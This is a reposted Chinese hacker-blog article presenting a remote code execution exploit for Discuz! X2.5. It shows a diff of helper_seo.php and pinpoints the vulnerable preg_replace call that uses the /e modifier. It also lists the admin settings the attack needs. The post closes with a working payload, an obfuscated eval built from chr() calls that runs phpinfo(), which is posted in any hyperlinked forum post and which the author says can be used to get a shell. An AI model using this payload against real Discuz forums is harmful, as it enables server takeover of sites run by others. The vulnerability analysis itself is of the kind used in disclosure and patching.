记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Discuz! X2.5 远程代码执行漏洞及EXP[XDAY]

2013-01-07 19:31

Author: 北北


刚群里黑哥丢出个乌云的链接:http://www.wooyun.org/bugs/wooyun-2012-06420


过程简单说下,记的有点乱不贴太多代码了


diff一下看



@@ -4,7 +4,7 @@
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
- * $Id: helper_seo.php 28028 2012-02-21 04:41:41Z chenmengshu $
+ * $Id: helper_seo.php 29370 2012-04-09 04:39:11Z chenmengshu $
*/

if(!defined('IN_DISCUZ')) {
@@ -89,7 +89,7 @@
}
}
if($searcharray && $replacearray) {
- $content = preg_replace("/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\\1\\2\\3", "</relatedlink>")', $content);
+ $content = preg_replace("/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", "helper_seo::base64_transform('encode', '<relatedlink>', '\\1\\2\\3', '</relatedlink>')", $content);
$content = preg_replace($searcharray, $replacearray, $content, 1);
$content = preg_replace("/<relatedlink>(.*?)<\/relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
@@ -100,7 +100,7 @@

public static function base64_transform($type, $prefix, $string, $suffix) {
if($type == 'encode') {
- return $prefix.base64_encode(str_replace("\'", "'", $string)).$suffix;
+ return $prefix.base64_encode(str_replace("\\\"", "\"", $string)).$suffix;
} elseif($type == 'decode') {
return $prefix.base64_decode($string).$suffix;
}

够清楚吧,问题在/source/class/helper/helper_seo.php 92行附近的:



$content = preg_replace("/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\\1\\2\\3", "</relatedlink>")', $content);

preg_replace 使用了e修正符,又是双引号,所以导致远程任意代码执行。


需要论坛支持个功能,啥功能看68行 $_G['cache']['relatedlink'],grep下relatedlink一路跟找到需要后台开个seo功能,详细代码不贴了自己看下,在运营-关联链接 /admin.php?frames=yes&action=misc&operation=relatedlink,且至少需要设置一个链接,这功能不是所有管理员都开,但是我觉得大部分都会开,如果不开,它就只能是个后台拿shell的tips了。



function_core.php 1925
function parse_related_link($content, $extent) {
return helper_seo::parse_related_link($content, $extent);
}

看正则


"/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies"

那么利用方式还用说么? 各种地方比如 source/include/space/space_blog.php,懂的都懂了 :P


公司数据中心也在跑影响范围稍后会公布吧。


# ——- 2012/4/28 update ———


网上都有人发了,我也更新一下吧。


@峙酿君edwardz同学说:漏洞要开启seo,并且开启用户日志的seo,漏洞鸡肋,黑站就算了。


补充一下吧,开seo没错,但是并非他说的非得开日志的seo,我上面文章中说的 “各种地方比如 source/include/space/space_blog.php,懂的都懂了” 只是随便提个例子而已,其实在任何能够发表文章的地方都可以,最简单的,论坛找个板块发贴子就行,这主要看管理员开启了哪个位置的seo,如果不知道管理员开了哪的seo就到处都发一下。



利用方式也并非非得发blog,也不是非得发网络图片,详细的利用我是比如随便发个贴子,内容


${${eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))}} 

然后给他加上任意超链接,发布即可phpinfo(),enjoy it :)



知识来源: yaonie.org/archives/165.html
想收藏或者和大家分享这篇好文章→复制链接地址

“Discuz! X2.5 远程代码执行漏洞及EXP[XDAY]”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云